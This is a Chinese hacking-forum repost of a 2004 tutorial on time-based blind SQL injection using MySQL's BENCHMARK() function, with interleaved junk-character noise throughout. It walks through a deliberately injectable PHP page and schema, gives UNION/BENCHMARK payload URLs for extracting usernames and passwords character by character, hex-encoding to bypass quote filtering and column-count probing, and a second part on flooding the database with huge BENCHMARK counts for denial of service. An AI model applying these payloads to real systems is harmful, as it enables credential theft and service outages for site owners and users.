找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
7 k* s4 c1 {0 r) h  g8 I本文作者:SuperHei" P4 \$ F$ s1 _( }" ^! y! A# F3 h
文章性质:原创
% r2 s/ f! k8 B发布日期:2005-01-02- g& V- d  H! {; I
完成日期:2004-07-09 / ~* U  A! v" O% r
第一部- B( P( m+ S/ e* V6 x: X
. f% `1 ?0 V% d" C: G: H% i
利用时间推延进行注射---BENCHMARK函数在注射中的利用
, N) k, u/ q1 i* l8 G2 g
! Q( ]- C" S& H" {' a+ T/ m一.前言/思路
5 v' W* |. s2 Z! W, K, R& b$ t9 ?7 I+ i/ ^- w; H
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。9 H  H( s# a* G7 E6 C! n0 D- P
" R- W/ Y1 v! g& e- _
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。3 u- @1 M7 Q1 G
5 j  N% ~5 j' L+ Q+ F9 {
二.关于BENCHMARK函数
$ H, q, H" N* a$ \
3 ^" W. N9 M* G- D) d' Z. t& f  在MySQL参考手册里可以看到如下描叙:
  w5 W  }( S+ x' r
; S0 ?/ Q! t. V2 m. l
5 T" K) c1 s6 U" h+ Y# X" L--------------------------------------------------------------------------------) H0 O$ K8 J/ J/ l' |  B

% [( i' p) i6 MBENCHMARK(count,expr) $ X# E7 H$ [6 r: M& U3 Y
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. U4 c6 d9 @( q4 Y! h+ p1 g* Ymysql> select BENCHMARK(1000000,encode("hello","goodbye"));
) S* s/ l/ s/ S* g+----------------------------------------------+ ( g# v1 z7 q. q: F8 t5 A$ G1 @
| BENCHMARK(1000000,encode("hello","goodbye")) |
0 n- L8 N& |& g4 V% n+----------------------------------------------+
$ w2 i- u$ N" S; Q( ]! L' H| 0 | ! l0 I; T) F0 ]6 ~
+----------------------------------------------+ : Z  S9 o1 V; ~+ @
1 row in set (4.74 sec) & k1 x+ c" K' f6 H/ d
) ]1 v& Z3 `" t6 c" Z3 Q- Y
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。& f5 X( y& M1 v7 s0 b7 J) Q
, U: ^0 B8 e; ]) Z$ [! E

% @0 q6 X# Q6 D% Y3 B--------------------------------------------------------------------------------
" s' f1 o5 I1 z6 U; E5 \$ Z
7 m7 k! p* Z& i" q) t' p  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: & W! x, `! B! ^0 C  Z
& q$ d4 W1 X, `& T) g
mysql> select md5( 'test' ); 4 d6 H" o8 b; ^6 Q: N
+----------------------------------+
8 O+ i, t% S) {0 d) W1 Q7 S: D' c| md5( 'test' ) | : S& J" d4 ?( s* f; Q  h9 l
+----------------------------------+
  c% Z; A* @; a/ A0 S| 098f6bcd4621d373cade4e832627b4f6 |
& N& |4 i  r0 i. O+----------------------------------+ - w0 `2 ^8 Y$ }5 _. [* v/ {
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
+ d6 l9 B, D, k4 C. W9 t/ L7 ?: V5 ?- k5 o1 K
mysql> select benchmark( 500000, md5( 'test' ) ); # D9 {, E& I7 t4 V8 U
+------------------------------------+
; v* u* o4 d5 O+ Y| benchmark( 500000, md5( 'test' ) ) |
2 i% p' d( g2 D( G  f( Y+------------------------------------+ - [' V) u: S' |
| 0 | 8 \; ~3 b4 H/ U& D
+------------------------------------+
0 y& n1 d1 C% Z  F" l1 row in set (6.55 sec) 〈------------执行时间为6.55 sec  l9 e. {6 z" \4 E" n6 Q
& D6 A0 E7 U& B9 r, U" y

+ F/ @! {! w( y8 P, D  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
+ g2 M) n8 F- ~3 `
+ z' g) p, B0 b% i* x三.具体例子
1 i0 f  s; f0 F2 q7 p6 T
- a8 ]/ V5 _* _  首先我们看个简单的php代码:1 f+ I8 W* a- s# H; ]
6 \2 N( t& `- b* e0 u
< ?php
& i& [; y8 W! x0 d. u: b$servername = "localhost";
2 O; t" W& u$ D) T+ k# _$dbusername = "root";
! f/ `: L0 W! p% \- R7 O5 C. h$dbpassword = "";
( e. k4 b6 ~, |' p6 p$dbname = "injection"; / d! L, ]% `6 x

% [; f0 G, i9 v/ m- A" Pmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' Q6 Y- Y1 E2 s$ R
2 I# H4 ~. t8 i8 e; s9 B$sql = "SELECT * FROM article WHERE articleid=$id"; % S% n# D6 T* V; o; I! F0 Q/ s& f) ]
$result = mysql_db_query($dbname,$sql);
" ?2 Y# K* p5 @* L5 \2 o$row = mysql_fetch_array($result); ; T/ {; _# o( X- c/ y+ F* d
5 Z6 T9 w! N4 V, S% w5 |, U  I1 X
if (!$row)
5 F1 M+ w8 Z2 g{
. O% u9 j, k- ?1 F4 }, e0 o, X/ bexit; . _! O5 W5 J, x! P
}
$ x1 m' `5 }0 E1 h9 Y?>. U+ P' i& N- ^* x

0 T* I. B, I0 g4 Y- k
. U% g) x: |: R$ S* g  数据库injection结构和内容如下:' P: W" P! m2 a3 w; m

, @/ T2 q/ U% K+ [6 B4 ~# 数据库 : `injection` - b3 O" Q9 }6 P
# 7 q* g) l* v+ B1 m

) m: r) d" F$ z. F! A8 z# --------------------------------------------------------
3 C  d: W  w9 j% R7 q
, b# v4 Y" H( t& |: l#
! s  y4 p5 g3 E! k' n# 表的结构 `article`
$ n6 V3 R5 l$ D: l0 b( L$ d8 p#
* V. L& l4 g6 F- F3 P( Q; x% ~% V% }, }( B
CREATE TABLE `article` (
( B$ s( c4 N+ t9 V7 t`articleid` int(11) NOT NULL auto_increment,
2 z  s  n$ W- Y+ P+ x5 t3 I`title` varchar(100) NOT NULL default '', 2 W! b0 c$ C/ `" \6 x
`content` text NOT NULL,
: q* H, T& w; M0 O% wPRIMARY KEY (`articleid`)
% b8 E4 d, D% z/ q' ~2 r) TYPE=MyISAM AUTO_INCREMENT=3 ; / h3 o2 G$ N/ c& v  C

3 {* i5 }& o% h7 |& [# G6 F' |#
7 c* K( r( c. C" L! \# 导出表中的数据 `article` : L! v) F& E! V; {3 ^( G$ t
# + B1 K5 I$ H  K0 H) P

; n+ k8 ~; R5 V+ {/ qINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); - b7 M, |  c1 w* Z/ O* M' P
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
  _/ i( K$ w( ?$ ]
4 y. \+ U. ]1 J4 }3 v  A! R# --------------------------------------------------------
& [6 |, P2 P- W5 M# H3 t$ u0 Q, ?% Z
8 y6 _+ U; v; @! a, n9 {+ L: Q# 6 A7 Y3 U& A; o1 a8 _- a+ Z
# 表的结构 `user`
; h& ]% u- V8 \$ h. J: i#
* Q6 Z; q7 X+ l0 C5 W, a+ }, O& R' l6 V- x' W
CREATE TABLE `user` ( ; l0 h* k! f, F- {# ^* O' m
`userid` int(11) NOT NULL auto_increment, 4 M+ H! Y9 {2 ^# n8 M- e- J: |
`username` varchar(20) NOT NULL default '', # y7 ]8 i' r) ~" W9 s: B5 Y! U
`password` varchar(20) NOT NULL default '', # [4 P) e7 b  j& V% ?. p
PRIMARY KEY (`userid`) 3 X+ s: O  w; C( i0 n
) TYPE=MyISAM AUTO_INCREMENT=3 ; 8 N# }# q7 ]3 v* R; I$ `

" Y7 L$ I) B6 U0 a- a6 d2 K# ' o" _, B% [) A& x8 G% \8 b9 ~
# 导出表中的数据 `user` : {7 x" @2 ^. }
#
6 _, C! [( A2 N' x6 Y0 W+ j) O3 M9 u/ X' G4 T4 {/ }' m3 c. ?
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % D( L+ ]9 F9 y+ I% A
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
; p2 a. v6 j% @" {1 h+ q* }4 F 8 \1 r, ]% _% _2 y6 D

% V2 n" r6 d6 c5 ^" Y  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:0 w& b5 e% ~9 W
/ e' Y- A* \2 m. w2 k5 O# f
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
" s; V. D+ T& r9 p3 a" R- P
4 \; q1 N( X- P% S
4 [" f; v+ w/ w. L! _% x( V9 b# y  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* y9 d% A2 x2 i8 Z, Y3 H& ^+ K

: [$ }7 \" o  Q2 o7 m. A. p& Shttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*6 p$ w! [) w8 l2 P5 Q
, O% _& x  \" G1 X9 |0 _
  @9 j6 C8 c$ }- `! W" E/ M5 O$ n
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ) u% W7 t) x' g# L* Y5 @
2 K5 q. a0 N) A
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & A& `4 b! e4 b( a& F' U8 {* W' f- `

7 H5 W7 I" m: a8 }: K第二部
: q: s1 \7 n6 _  z7 ?! c, a) u% b, ~
利用BENCHMARK函数进行ddos攻击 * N+ d+ G0 X1 R, }/ `5 g

$ X5 u" O7 h! M, y  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:# ]( l. Z9 b$ W1 i( y% e4 R5 p7 `

$ Z  |, h4 D/ C2 L/ H; F' Ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# Z0 i- t9 X1 n! e6 i
& a2 N5 D! u; U2 q4 n3 f
" w( T# U; U  L+ `7 U% u5 y/ \2 [5 y) y小结6 @" o2 \1 ]6 h- F8 U8 `

2 U: V8 n; d1 d0 f4 c4 ~  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
0 ~( T/ S* ]- E% F! x( [1 u9 ]6 @
0 ?' k: w, ~+ @2 B  7 v7 L0 r9 @# Y* Z: b) R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表